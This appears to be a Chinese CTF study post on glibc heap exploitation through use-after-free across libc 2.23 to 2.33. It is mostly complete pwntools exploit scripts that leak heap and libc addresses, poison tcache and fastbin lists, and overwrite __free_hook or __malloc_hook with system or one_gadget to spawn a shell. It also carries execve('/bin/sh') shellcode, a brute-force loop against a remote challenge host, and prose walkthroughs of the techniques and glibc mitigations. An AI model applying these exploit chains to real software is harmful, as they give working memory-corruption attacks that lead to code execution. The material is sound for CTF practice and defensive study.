add(0x520,payload) #4


delete(2) #now fastbin: 0x3920: chunk2_addr => free_hook: chunk2_addr
edit(2,p64(set_context)) # fastbin: 0x3920: chunk2_addr -> set_context
add(0x3910,'a') # fastbin: 0x3920: set_context , so now free_hook: set_context
print(hex(set_context))
debug()
delete(4) # set_context(chunk4)
sh.interactive()

libc-2.31 + UAF + chunk_size<=0x80

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
# _*_ coding:utf-8 _*_
from pwn import *


context.log_level = 'debug'
# context.terminal=['tmux', 'splitw', '-h']
prog = './ezuaf'
elf = ELF(prog)
p = process(prog)#,env={"LD_PRELOAD":"./libc-2.23.so","LD_PRELOAD":"./ld-2.33.so"})
libc = ELF("libc-2.31.so")
# p = remote("node4.buuoj.cn", 28139)#nc 124.71.130.185 49155


def debug(addr,PIE=True):
debug_str = ""
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print }}'".format(p.pid)).readlines()[1], 16)
for i in addr:
debug_str+='b *{}\n'.format(hex(text_base+i))
gdb.attach(p,debug_str)
else:
for i in addr:
debug_str+='b *{}\n'.format(hex(i))
gdb.attach(p,debug_str)

def dbg():
gdb.attach(p)
pause()
#-----------------------------------------------------------------------------------------
s = lambda data :p.send((data)) #in case that data is an int
sa = lambda delim,data :p.sendafter(str(delim), (data))
sl = lambda data :p.sendline((data))
sla = lambda delim,data :p.sendlineafter(str(delim), (data))
r = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
it = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
bp = lambda bkp :pdbg.bp(bkp)
li = lambda str1,data1 :log.success(str1+'========>'+hex(data1))


def dbgc(addr):
gdb.attach(p,"b*" + hex(addr) +"\n c")

def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
#https://www.exploit-db.com/shellcodes
#-----------------------------------------------------------------------------------------

def choice(idx):
sla(": ",str(idx))

def add(sz,con):
choice(1)
sla("Please tell me its size: \n",str(sz))
sa("Content: ",con)

def delete(idx):
choice(3)
sla("Please tell me the index: \n",str(idx))

def show(idx):
choice(4)
sla("Please tell me the index: \n",str(idx))

def edit(idx,con):
choice(2)
sla("Please tell me the index: \n",str(idx))
sla("Please tell me its content: \n",con)


def exp(p):
#debug([0x7B9])
add(0x80,'a')#0
add(0x20,'b')#1
add(0x80,'c')#2
add(0x80,'d')#3
add(0x20,'f')#4
delete(2)
delete(0)
show(0)
heap_base=uu64(r(8))-0x360
lg("heap_base",heap_base)
edit(0,p64(heap_base+0x10))
add(0x80,p64(heap_base+0x10))#5
add(0x80,'\x00'*12+'\xff'*4)#6
delete(3)
show(3)
main_arena=uu64(r(8))-96
malloc_hook=main_arena-0x10
lg("malloc_hook",malloc_hook)
libc_base=malloc_hook-libc.sym['__malloc_hook']
lg("libc_base",libc_base)
system=libc_base+libc.sym['system']
free=libc_base+libc.sym['__free_hook']
lg("system",system)
lg("free",free)
add(0x50,'a')#7
add(0x50,'/bin/sh\x00')
add(0x50,'c')
delete(8)
delete(9)
edit(9,p64(free))
add(0x50,'d')#10
edit(8,'/bin/sh\x00')
add(0x50,p64(system))
delete(8)


it()
if __name__ == '__main__':
exp(p)

libc-2.33 + UAF + chunk_size<=0x80

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
# _*_ coding:utf-8 _*_
from pwn import *


context.log_level = 'debug'
# context.terminal=['tmux', 'splitw', '-h']
prog = './ezuaf'
elf = ELF(prog)
# p = process(prog)#,env={"LD_PRELOAD":"./libc-2.23.so","LD_PRELOAD":"./ld-2.33.so"})
libc = ELF("libc-2.33.so")
# p = remote("node4.buuoj.cn", 29464)#nc 124.71.130.185 49155


def debug(addr,PIE=True):
debug_str = ""
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print }}'".format(p.pid)).readlines()[1], 16)
for i in addr:
debug_str+='b *{}\n'.format(hex(text_base+i))
gdb.attach(p,debug_str)
else:
for i in addr:
debug_str+='b *{}\n'.format(hex(i))
gdb.attach(p,debug_str)

def dbg():
gdb.attach(p)
pause()
#-----------------------------------------------------------------------------------------
s = lambda data :p.send((data)) #in case that data is an int
sa = lambda delim,data :p.sendafter(str(delim), (data))
sl = lambda data :p.sendline((data))
sla = lambda delim,data :p.sendlineafter(str(delim), (data))
r = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
it = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
bp = lambda bkp :pdbg.bp(bkp)
li = lambda str1,data1 :log.success(str1+'========>'+hex(data1))


def dbgc(addr):
gdb.attach(p,"b*" + hex(addr) +"\n c")

def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
#https://www.exploit-db.com/shellcodes
#-----------------------------------------------------------------------------------------

def choice(idx):
sla(": ",str(idx))

def add(sz,con):
choice(1)
sla("Please tell me its size: ",str(sz))
sa("Content: ",con)

def delete(idx):
choice(3)
sla("Please tell me the index: ",str(idx))

def show(idx):
choice(4)
sla("Please tell me the index: \n",str(idx))

def edit(idx,con):
choice(2)
sla("Please tell me the index: \n",str(idx))
sla("Please tell me its content: \n",con)


def pwn(p,i):
add(0x80,'a')
delete(0)
show(0)
heap_leak=uu64(r(6))
heap_base=heap_leak*0x1000
lg("heap_base",heap_base)

edit(0,"arttnba3arttnba4")
delete(0)
edit(0,p64(heap_leak^(heap_base+0x10)))
add(0x80,'arttnba3')
add(0x80,"\x00\x00"*(0xe+0x10+9)+'\x07\x00')
delete(2)

add(0x40,('\x00\x00'*3+'\x01\x00'+'\x00\x00'*2+'\x01\x00').ljust(0x70,'\x00'))
add(0x30,0x30*'\x00')
add(0x10,p64(0)+'\xc0'+p8(i*0x10+6))
add(0x40,p64(0xfbad1800)+p64(0)*3+'\x00')
libc_base=uu64(p.recvuntil('\x7f')[-6:])-0x1e4744+0x3000
lg("libc_base",libc_base)
# dbg()
add(0x10,p64(libc_base+libc.sym['__free_hook']))
add(0x70,p64(libc_base+libc.sym['system']))
add(0x10,'/bin/sh\x00')
delete(9)
it()

if __name__ == '__main__':
# exp(p)
count=1
i=0
while 1:
try:
print "the no."+str(count)+"try"
print "try: "+'\xc0'+p8(i*0x10+6)
p = remote("node4.buuoj.cn", 29464)
# p=process("./ezuaf")
pwn(p,i)
except Exception as e:
print e
p.close()
i=i+1
count=count+1
i=i%16
continue

下面部分主要来自PIG-007大佬,参考(抄)下来

PWN堆Heap总结UAF专场

UAF,异或加密,hook利用

一般来说UAF都是比较好利用的,尤其是在有tcache的版本下,2.32之前,没有对fd做任何检查,也没有对size做任何检查,那么直接改fd就能想申请哪儿就申请哪儿。但是这里就面临地址的问题,所以高版本下的UAF常常不会给你Show函数,通常结合FSOP来爆破泄露地址。而低版本的,没有tcache的时候,不给show函数会更加困难,因为fastbin attack会检查size位,通常还需要伪造。

这里就2.23~2.32版本的UAF做个总结利用,各个条件的缩减。

一、Glibc2.23

1.UAF + Leak + Size不做限制:

这种情况直接free进unsortedbin泄露地址,然后打fastbin attack,借助0x7f字节错位劫持malloc_hook即可,没啥技术含量。这里再说一些,其实0x56也是可以的,可以借助unsortedbin attack将堆地址写到一个地方然后字节错位也是可以的。

img

0x7f:0 1 1 1 1 11 1

0x56:0 1 0 1 0 11 0

主要看的是AM位,加粗的两位,不能刚好是10,检测:

(1)是否属于当前线程的main_arena

(2)是否是mmap出来的chunk的检测

所以按照道理来讲,尾数为4 5 c d四个系列不能通过检测,其他都可以的。而对于堆地址的随机性,0x56和0x55都是可能的,所以也不一定成功,同样需要爆破。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#注释头

one_gadget = getOnegadget()
add_malloc(0x418,'PIG007NB')
add_malloc(0x68,'PIG007NB')
free(1)
show(1)
libc_base = u64Leakbase(88 + libc.sym['main_arena'])
lg("libc_base",libc_base)
free(2)
edit(2,0x8,p64(libc_base + libc.sym['__malloc_hook']-0x23))
add_malloc(0x68,'PIG007NB')

for i in range(len(one_gadget)):
lg("one_gadget["+str(i)+"]",libc_base+one_gadget[i])
add_malloc(0x68,'\x00'*0x13+p64(libc_base+one_gadget[]))
#add_malloc(0x18,'PIG007NB')
p.sendline('1')
p.sendline('1')
p.sendline('1')
p.interactive()

需要注意的是这里由于覆写了_IO_wide_data部分数据,有些数据可能打印不出来,直接一股脑发送信息申请堆块即可。至于one_gadget没办法用的,参照realloc_hook调整栈帧。

2.UAF + Leak + size限制

▲比如说size限制不能申请0x70大小的堆块,那么就没办法字节错位申请malloc_hook的地方。一般来说有以下几种情况:

(1)只能是小Chunk,即0x20~0x80:

泄露heap地址,修改FD,指向上一个chunk来修改size,释放进入unsortedbin后泄露得到libc地址,之后再借用0x7f的UAF字节错位申请即可到malloc_hook即可。

(2)只能是中等的chunk,大于fatsbin小于largebin的,即0x90~0x3f0。

泄露地址后,直接用unsortedbin attack,修改global_max_fast,然后利用fastbinY链在main_arean上留下size,申请过去修改top_chunk为malloc_hook-0x10或者malloc_hook-0x28,修复unsortedbin之后即可任意修改。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#注释头

one_gadget = getOnegadget()
main_arena = libc.sym['main_arena']
fastbinsY = main_arena + 8
target_addr = main_arena + 80
idx = (target_addr - fastbinsY) / 8
size = idx * 0x10 + 0x20


add_malloc(size-0x8,'PIG007NB')
add_malloc(0x2f8,'PIG007NB')
add_malloc(size+0x10-0x8,'PIG007NB')
add_malloc(0xf8,'PIG007NB')

free(2)
show(2)
libc_base = u64Leakbase(unsortedBinIdx + libc.sym['main_arena'])
lg("libc_base",libc_base)
malloc_hook = libc_base + libc.sym['__malloc_hook']
main_arena = libc_base + libc.sym['main_arena']
target_addr = libc_base+libc.sym['global_max_fast']

edit(2,0x18,p64(0x0)+p64(target_addr-0x10))
add_malloc(0x2f8,'\x00')

free(1)
edit(1,0x8,p64(size+0x10+1))
add_malloc(size-0x8,'PIG007NB')

free(3)
edit(3,0x8,p64(libc_base + libc.sym['main_arena'] + 0x48))
add_malloc(size+0x10-0x8,'PIG007NB')
add_malloc(size+0x10-0x8,p64(malloc_hook-0x28)+p64(0x0)+p64(main_arena+88)*2)
add_malloc(0x98,p64(0x0)*2+p64(libc_base + one_gadget[1])+p64(libc_base+libc.sym['realloc']+8))
p.sendline('1')
p.sendline('1')
p.sendline('1')
it()

这里就利用realloc调整了一下栈帧

(3)只能是大chunk,即0x400~…

泄露地址后,直接用unsortedbin attack,修改global_max_fast,之后利用fastbinY机制可在free_hook附近伪造堆size,然后申请过去修改free_hook为system,释放堆块即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#注释头

main_arena = libc.sym['main_arena']
fastbinsY = main_arena + 8
target_addr_binsY = libc.sym['__free_hook']-0x10
idx = (target_addr_binsY - fastbinsY) / 8
size = idx * 0x10 + 0x20


add_malloc(0x4f8,"\xaa"*0x4f8) #idx1
add_malloc(0x4f8,'/bin/sh\x00') #idx2

add_malloc(size-0x8,'PIG007NB') #idx3
add_malloc(size+0x10-0x8,'PIG007NB') #idx4

free(1)
show(1)
libc_base = u64Leakbase(unsortedBinIdx + libc.sym['main_arena'])
lg("libc_base",libc_base)

target_addr = libc_base+libc.sym['global_max_fast']
log.info("target_addr:0x%x"%target_addr)
#change unsortedBinchunkA
#chunkA.fd could be anything

edit(1,0x4f8,p64(0x0)+p64(target_addr-0x10))
#have to malloc all from unsortedbin
add_malloc(0x4f8,"\xaa"*0x4f8) #idx4
free(3)
edit(3,0x8,p64(size+0x10+1))
add_malloc(size-0x8,'PIG007NB')
free(4)
edit(4,0x8,p64(libc_base + target_addr_binsY -0x8))
add_malloc(size+0x10-0x8,'PIG007NB')
add_malloc(size+0x10-0x8,p64(0x0)+p64(libc_base + libc.sym['system']))
free(2)
it()

(4)只能是某个特定大小的chunk,比如只能是0x40,0x60,一般不会只能是一个大小的,不然基本无法利用。

泄露地址heap地址后,修改size位进入unsortedbin中,再泄露libc地址。由于无法0x56和0x7f字节错位利用,所以只能利用一个size的bin,释放之后在fastbinY中留下size,然后另一个size申请过去,修改top_chunk到malloc_hook处即可,之后类似。

3.UAF + 无Leak + Size不做限制

▲无Leak通常需要爆破,同样用unsortedbin attack部分写unsortedbin中chunk的bk指针,修改global_max_fast,之后利用fastbinY机制劫持_IO_2_1stdout结构体,泄露出地址,然后就和之前一样,再利用fastbinY机制劫持free_hook即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
#注释头

def pwn():
#one_gadget = getOnegadget()
heap_base = leak_heap()
libc_base = leak_libc() - libc.sym['printf']
elf_base = leak_elf() - elf.sym['main']
log.info("heap_base:0x%x"%heap_base)
log.info("libc_base:0x%x"%libc_base)
log.info("elf_base:0x%x"%elf_base)

add_malloc(0x1000-0x8,'PIG007NB')

#prepare data-----------------------------------------------------------
guess_libc = 0x9000
guess_heap = 0x2000
fastbinsY = guess_libc + libc.sym['main_arena'] + 8
_IO_read_end = guess_libc + libc.sym['_IO_2_1_stdout_'] + 0x10
_IO_write_base = guess_libc + libc.sym['_IO_2_1_stdout_'] + 0x20
_IO_write_ptr = guess_libc + libc.sym['_IO_2_1_stdout_'] + 0x28
_IO_write_end = guess_libc + libc.sym['_IO_2_1_stdout_'] + 0x30

idx_read_end = (_IO_read_end - fastbinsY) / 8
size_read_end = idx_read_end * 0x10 + 0x20

idx_write_base = (_IO_write_base - fastbinsY) / 8
size_write_base = idx_write_base * 0x10 + 0x20

idx_write_ptr = (_IO_write_ptr - fastbinsY) / 8
size_write_ptr = idx_write_ptr * 0x10 + 0x20

idx_write_end = (_IO_write_end - fastbinsY) / 8
size_write_end = idx_write_end * 0x10 + 0x20

target_addr_gMF = guess_libc + libc.sym['global_max_fast']

fastbinsY = libc.sym['main_arena'] + 8
target_addr_binsY = libc.sym['__free_hook']-0x10
idx_free_hook = (target_addr_binsY - fastbinsY) / 8
size_free_hook = idx_free_hook * 0x10 + 0x20

#read_end-------------------------------------------------------------
add_malloc(0x38,"\x00"*0x38) #idx 0x1
add_malloc(0x38,"\x00"*0x38) #idx 0x2 point free read_end
add_malloc(0x38,"\x03"*0x38) #idx 0x3
add_malloc(0x38,'\x04'*0x18+p64(0x21)+'\x04'*0x18) #idx 0x4

free(0x1)
#free(2)
free(0x3)
edit(0x3,0x1,'\x20')
edit(0x1,0x20,p64(0x0)*3+p64(0x41))

add_malloc(0x38,'\x05'*0x18+p64(0x21)+'\x05'*0x18) #idx 0x5
add_malloc(0x38,'\x06'*0x18) #idx 0x6 #point change size
#---------------------------------------------------------------------


#write_end can not be so far from wirte_base
add_malloc(size_write_end-0x8,(p64(0x0)+p64(0x21))*((size_write_end-0x10)/0x10)) #idx 0x7
add_malloc(size_write_ptr-0x8,(p64(0x0)+p64(0x21))*((size_write_ptr-0x10)/0x10)) #idx 0x8


#write_base-----------------------------------------------------------
add_malloc(0x38,"\x00"*0x38) #idx 0x9
add_malloc(0x38,"\xaa"*0x38) #idx 0xa
add_malloc(0x38,"\x0b"*0x38) #idx 0xb
add_malloc(0x38,'\x0c'*0x18+p64(0x21)+'\xaa'*0x18) #idx 0xc

free(0x9)
#free(2)
free(0xb)
edit(0xb,0x2,p16((guess_heap+0x1000+0x40)&0xffff))
edit(0x9,0x20,p64(0x0)*3+p64(0x41))

add_malloc(0x38,'\x0d'*0x18+p64(0x21)+'\x05'*0x18) #idx 0xd
add_malloc(0x38,'\x0e'*0x18) #idx 0xe #point free
#---------------------------------------------------------------------



#prepare for free_hook
add_malloc(size_free_hook-0x8,'PIG007NB') #idxf
add_malloc(size_free_hook+0x10-0x8,'PIG007NB') #idx10


#unsortedbin attack
add_malloc(0x4f8,'\x11'*0x4f8) #idx 0x11
add_malloc(0x38,'\x12'*0x38) #idx 0x12
free(0x11)
edit(0x11,0x8+0x2,p64(0x0)+p16((target_addr_gMF&0xffff)-0x10))
add_malloc(0x4f8,'/bin/sh\x00') #idx 0x13



#change write_base
edit_m(0x6,0x20,p64(0x0)*3+p64(size_write_base+1))
free_m(0xe)


#change write_end and write_ptr
free_m(0x7)
free_m(0x8)


#change read_end
edit_m(0x6,0x20,p64(0x0)*3+p64(size_read_end+1))
free_m(0x2)

libc_base = u64Leakbase(libc.sym['_IO_2_1_stdout_']+131)
lg("libc_base",libc_base)

#write free_hook - 0x10
free(0xf)

#left size
edit(0xf,0x8,p64(size_free_hook+0x10+1))
add_malloc(size_free_hook-0x8,'PIG007NB')

#get free_hook - 0x8
free(0x10)
edit(0x10,0x8,p64(libc_base + target_addr_binsY -0x8))
add_malloc(size_free_hook+0x10-0x8,'PIG007NB')
add_malloc(size_free_hook+0x10-0x8,p64(0x0)+p64(libc_base + libc.sym['system']))

#get shell
free(0x13)
it()





i = 0
while True:
i = i + 1
try:
p = process("./note")
lg("Times:",i)
pwn()
except EOFError:
p.close()
continue
else:
p.interactive()
break

▲通常需要注意的是,write_base和write_end不能相距太远,不然很容易数据量过大而崩溃。还有这里最后泄露地址是

libc_base = u64Leakbase(libc.sym[‘_IO_2_1stdout‘]+131)

这是因为IO流的机制,会在写入数据的0x10处上写下libc.sym[‘_IO_2_1stdout‘]+131的地址,所以这里直接就能泄露。

▲题外话:爆破的数学期望为1/256

img

4.UAF + 无Leak + Size做限制

▲同样size做限制一般也分为以下几种

(1)只能是小Chunk,即0x20~0x80:

这个也是一样的,利用UAF部分写入heap_addr制造堆块重叠,修改size域,放入unsortedbin,然后部分写入libc_addr打unsortedbin attack修改global_max_fast,之后就类似了,劫持_IO_2_1_stdout泄露地址,fastbinY机制劫持main_arena,修复unsortedbin后改top_chunk劫持malloc_hook即可。

(2)只能是中等的chunk,大于fatsbin小于largebin的,即0x90~0x3f0。

类似,部分写修改size域打unsortedbin attack,修改global_max_fast,劫持_IO_2_1_stdout泄露地址。fastbinY机制劫持free_hook。

(3)只能是大chunk,即0x400~…

直接用部分写libc_addr打unsortedbin attack,修改global_max_fast,劫持_IO_2_1_stdout泄露地址,之后利用fastbinY机制可在free_hook附近伪造堆size,然后申请过去修改free_hook为system,释放堆块即可。

(4)指定的chunk size。

▲其实对于UAF来说,size做没做限制都差不了太多,因为都可以部分写堆块地址制造堆重叠,然后就能修改size域,唯一区分的就是申请时候的限制,小的就打top_chunk,大的就直接打_free_hook。比较有意思的一点就是限制特定size,一般限制为两个,以前遇到0x20和0x30,也有0x40和0x50的,都是大同小异,借用fastbinY机制留下size后申请过去即可。

二、Glibc2.27

UAF在这个版本下对于tcache实在是好用,由于tcache不检查size位,也不检查FD,只要泄露了地址,加上UAF就能实现任意申请。而对于无show功能的,既可以借助unsortedbin踩下地址后爆破直接申请,也可以unsortedbin attack劫持global_fast_max之后再劫持IO_2_1_stdout结构泄露地址。

1.Sashing机制带来的改变

(1)加入的检查判断:

需要注意的一点是,由于加入了tcache的stahing机制,所以在从fastbin中申请时会有一个判断:

(这个在2.26开始就存在的,只不过可能代码不太一样,所以有tcache的地方,fastbin修改fd从而在main_arena上留下fd的功能就无法使用了)

Snipaste_2021-08-19_21-32-57

由于tcache的stashing机制,如果从fastbin中取chunk,那么如果该大小的fastbin链中还有其他chunk,则会尝试将该大小的fastbin链中剩余的chunk都放入对应大小的tcache中,那么就会出现如上的对fastbin中的fd进行取出检查,这里我设置了fastbin中Chunk的fd为0x71,即rdx的值,导致出错。

1
2
3
4
5
//注释头

*fb = tc_victim->fd;

mov rax, qword ptr [rdx + 0x10]

这个代码以及汇编赋值,使得[rdx+0x10],即取0x71的fd指针,那肯定会出错。同样的,如果修改fastbin中chunk的fd也不再是简单地伪造size了,还需要考虑对应FD的fd指针有效性。

(2)对抗利用:

①have_fastchunks:

虽然FD不能留下伪造地址,但是可以释放一个chunk进入fastbin,将main_arena.have_fastchunks置1,之后利用main_arena.have_fastchunks留下的0x1在上面来申请0x100的字节错位,但是这个需要先修改global_max_fast才能申请0x100的fastbinChunk。

Snipaste_2021-08-27_14-48-12

④top_chunk:

此外,借用爆破chunk地址,将top_chunk的0x56当作合法size也是可以的。

Snipaste_2021-08-27_14-42-24

但是其实也没差,既然有tcache,那我还用fastbin申请干啥,直接tcache获得地址之后任意申请不就完了,除非全是calloc,但这种情况其实还有更方便的解法,即house of banana。所以要是碰到2.27版本的,简直就是烧高香了。

2.Glibc2.27Tcache题外话:

现今版本,2020年09月10日开始,从2.27-3ubuntu1.3开始,就已经对tcache做了部分修改,很接近2.29的,而现在的题目基本都是基于这种增强型版本的,已经不存在double free了。

Glibc 2.27关于Tcache的增强保护 - 安全客,安全资讯平台 (anquanke.com)

新增如下:

(1)Key字段新增:
1
2
3
4
5
6
7
8
/* We overlay this structure on the user-data portion of a chunk when
the chunk is stored in the per-thread cache. */
typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
struct tcache_perthread_struct *key;
} tcache_entry;

同样的对应tcache_put会加入key字段,tcache_get中会清除key字段,_int_free函数会根据key字段判断double free。

这里讲个小技巧,如果发现题目的libc.so版本在2.27-3ubuntu1.3之下,那么就没有key字段,存在无限制的double free,直接搞定。而常规的2.28版本其实也还存在double free,查看_int_free相关源码即可发现。

具体利用和绕过后面讲。

(2)Tcache数量限制
1
#define MAX_TCACHE_COUNT 127  /* Maximum value of counts[] entries. */

这个没发现有啥用,传统的只有2.30开始才用到了这个,低版本连定义都没有,除了这个增强型的2.27

1
2
3
4
5
6
7
8
9
10
11
//2.30

do_set_tcache_count (size_t value)
{
if (value <= MAX_TCACHE_COUNT)
{
LIBC_PROBE (memory_tunable_tcache_count, 2, value, mp_.tcache_count);
mp_.tcache_count = value;
}
return 1;
}

这就很迷惑,通常定义的tcache_count是7,而这里却要求小于MAX_TCACHE_COUNT(127),是因为GNU的其他功能可能会改变tcache的结构吗,比如将tcache_count修改为127,扩大tcache来使用吗,等待大佬发现漏洞。

另外该文章中还说了realloc对应memcpy的使用修改,感觉没啥用。

总的来说,其实就相当于将2.27的tcache增强成了2.29,其他的到没啥变化。

三、Glibc2.29

1.部分手段失效

(1)unsortedbin attack失效

这个版本下的unsortedbin attck已经失效,原因是新增如下检查:

1
2
3
4
5
6
7
8
9
10
11
12
13
#注释头

mchunkptr next = chunk_at_offset (victim, size);
if (__glibc_unlikely (chunksize_nomask (next) < 2 * SIZE_SZ)
|| __glibc_unlikely (chunksize_nomask (next) > av->system_mem))
malloc_printerr ("malloc(): invalid next size (unsorted)");
if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size))
malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)");
if (__glibc_unlikely (bck->fd != victim)
|| __glibc_unlikely (victim->fd != unsorted_chunks (av)))
malloc_printerr ("malloc(): unsorted double linked list corrupted");
if (__glibc_unlikely (prev_inuse (next)))
malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)");

①下一个chunk的size是否在合理区间

②下一个chunk的prevsize是否等于victim的size

③检查unsortedbin双向链表的完整性

④下一个chunk的previnuse标志位是否为0

其实最要命的是检查双向链表的完整性,还得在目的地址的fd伪造victim,都能伪造地址了还用这,所以直接废弃。Tcache_Stashing_Unlink_Attack来类似代替unsortedbin attack,不过Tcache_Stashing_Unlink_Attack一般需要用到calloc,如果有UAF泄露地址的话倒是不太需要。

(2)top_chunk改写限制

新增检查:

1
2
3
4
#注释头

if (__glibc_unlikely (size > av->system_mem)) //0x21000
malloc_printerr ("malloc(): corrupted top size");

即size需要小于等于system_mems = 0x21000。之前由top_chunk引发的一系列漏洞,类似House of orange,

House of Force以及之前提到的修改top_chunk到malloc_hook附近等,都不太行了。

(3)unlink方面一些限制

新增检查:

1
2
3
4
#注释头

if(__glibc_unlikely (chunksize(p) != prevsize)) *//new*
malloc_printerr ("corrupted size vs. prev_size while consolidating");

即会判断找到的之前为Free状态的chunk和当前要释放chunk的prevsize是否相等

这个对于UAF方面来说没啥影响,因为UAF本身就基本直接造成堆块重叠,而unlink通常就是结合off-by-null来制造堆块重叠的。off-by-null和off-by-one之后开一个专门的来讨论。

(4)tcache方面的变化

①新增key字段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#注释头

typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
struct tcache_perthread_struct *key;
} tcache_entry;

//-------------------------------------------------------------------------------

tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);

/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache; //add

e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}

tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
e->key = NULL; //add
return (void *) e;
}

即会在释放chunk的bk处加入key字段,一般为heap_base+0x10,即当前线程的tcache struct的地方。释放时赋值,申请回来时置零。

②新增的一些检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
//注释头

{
size_t tc_idx = csize2tidx (size);
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
/* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *) chunk2mem (p);

/* This test succeeds on double free. However, we don't 100%
trust it (it also matches random payload data at a 1 in
2^<size_t> chance), so verify it's not an unlikely
coincidence before aborting. */
if (__glibc_unlikely (e->key == tcache))
{
tcache_entry *tmp;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = tmp->next)
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}

if (tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (p, tc_idx);
return;
}
}
}

重点是这里if (__glibc_unlikely (e->key == tcache)),即针对之前tcache dup做的限制,检查要释放chunk的key字段,如果等于tcache结构体地址,则遍历对于的tcache中的chunk是否和该chunk为同一个chunk,是则报错。这个好绕过,通常可以利用漏洞改掉tcache中对于chunk的bk指针即可。由于unsortedbin attack失效,而Tcache_Stashing_Unlink_Attack通常还需要结合堆溢出,UAF之类的漏洞,所以常常可以配合largebin attack来进行攻击tcache dup。

▲还有一点需要注意的是,有的2.27版本已经引入了2.29中的一些机制,刚刚提到的,比如key字段之类的,具体做题具体分析。

参考:glibc-2.29新增的保护机制学习总结 - 安全客,安全资讯平台 (anquanke.com)

③出现的新手段

Tcache stash unlink attack,很多师傅分析这个漏洞都是在2.29下开始分析,但实际上从最开始引入2.26的tcache就已经有了,只不过可能是之前的unsortedbin attack太好用,就没开发出来这个漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
